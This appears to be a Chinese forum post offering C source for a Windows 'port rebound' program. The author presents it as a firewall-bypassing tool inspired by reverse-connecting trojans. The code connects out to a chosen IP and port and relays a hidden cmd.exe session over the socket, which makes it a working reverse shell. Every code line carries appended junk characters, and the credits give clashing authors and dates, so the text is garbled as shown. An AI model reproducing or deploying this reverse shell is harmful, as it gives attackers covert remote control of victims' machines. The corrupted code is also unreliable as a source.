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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Yi|Nd;  
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/* ============================== mzn#4;m$  
Rebound port in Windows NT W;.L N<bx  
By wind,2006/7 q]gF[&QZ  
===============================*/  *,e `.  
#include eY(JU5{  
#include Gp1?drF6  
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#pragma comment(lib,"wsock32.lib") BBj>ML\X  
3Sn# M{wH  
void OutputShell(); w[/m:R?eX  
SOCKET sClient; DhiIKd9W  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  9 -Xr  
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void main(int argc,char **argv) 2Gn26L 5  
{ B\quXE)  
WSADATA stWsaData; 1j!{?t ?  
int nRet; uL=FK  
SOCKADDR_IN stSaiClient,stSaiServer; k}e~xbh-y  
sE\Cv2Gx  
if(argc != 3) Tuy5h 5  
{ OJ<V<=MYZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); l'Uj"9r,  
return; {\n?IGP?wd  
} uiaZ@  
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WSAStartup(MAKEWORD(2,2),&stWsaData); p9~$}!ua  
}%S#d&wh$_  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w!52DBOe+  
ZY8:7Q@P>  
stSaiClient.sin_family = AF_INET; o=C'u  
stSaiClient.sin_port = htons(0); 4u7^v1/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )_1;mc8B  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %kV #UzL  
{ 4X$|jGQ\  
printf("Bind Socket Failed!\n"); _{?-=<V'_  
return; m 8P`n  
} q'`LwAU}  
}} zY]A  
stSaiServer.sin_family = AF_INET; luCwP  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B[ r04YGh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); azl!#%  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) C]ef `5NR]  
{ ??,/85lM  
printf("Connect Error!"); VB}^&{t)!  
return; Ev0=m;@_  
} u56WB9Z  
OutputShell(); \y+@mJWa  
} X`fer%`  
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void OutputShell() \W"p<oo|H  
{ noO#o+ Jg#  
char szBuff[1024]; )^j62uv  
SECURITY_ATTRIBUTES stSecurityAttributes; >ui;B$=  
OSVERSIONINFO stOsversionInfo; hWRr#030  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tvd: P^ C  
STARTUPINFO stStartupInfo; oGz5ZDa#  
char *szShell; Pk&sY'  
PROCESS_INFORMATION stProcessInformation; .hK:-q,  
unsigned long lBytesRead; "; mlQyP  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #?7g_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y`J8hawp  
stSecurityAttributes.lpSecurityDescriptor = 0; 6K5mMu#4  
stSecurityAttributes.bInheritHandle = TRUE; qzi i[Mf  
3?<LWrhV3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); P$6 Pe>3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :d wP  
4z,/0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Fq'Ds[wd5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Hzj(c~S?  
stStartupInfo.wShowWindow = SW_HIDE; FA}y"I'W  
stStartupInfo.hStdInput = hReadPipe; ;.3 {}.Y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3shd0q<  
QNGp+xUHJ9  
GetVersionEx(&stOsversionInfo); )8_MkFQe  
Y {|is2M9'  
switch(stOsversionInfo.dwPlatformId) &M6Zsmo  
{ jm,cVo  
case 1: H}g p`YW:4  
szShell = "command.com"; b8|<O:]Hp  
break; YhL^kM@c  
default: fxc?+<P  
szShell = "cmd.exe"; "0J;H#Y"#  
break; <l<6W-I   
} &o'$uLF~Y  
c uHF^l  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^#4Ah[:XA  
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send(sClient,szMsg,77,0); UD ;UdehC  
while(1) +IG=|X  
{ "pc t#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'CCAuN>J  
if(lBytesRead) [I}xR(a@n  
{ ^m-w@0^z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'Ej+Jczzpp  
send(sClient,szBuff,lBytesRead,0); ;3+_aoY  
} @x_0AkZU  
else gpogv -  
{ c"/Hv  
lBytesRead=recv(sClient,szBuff,1024,0); 3(_:"?xA  
if(lBytesRead<=0) break; ,6SzW+L7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ht|"91ZC5  
} :}-izd)/j  
} k zC4V  
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return; $.zd,}l@L  
}
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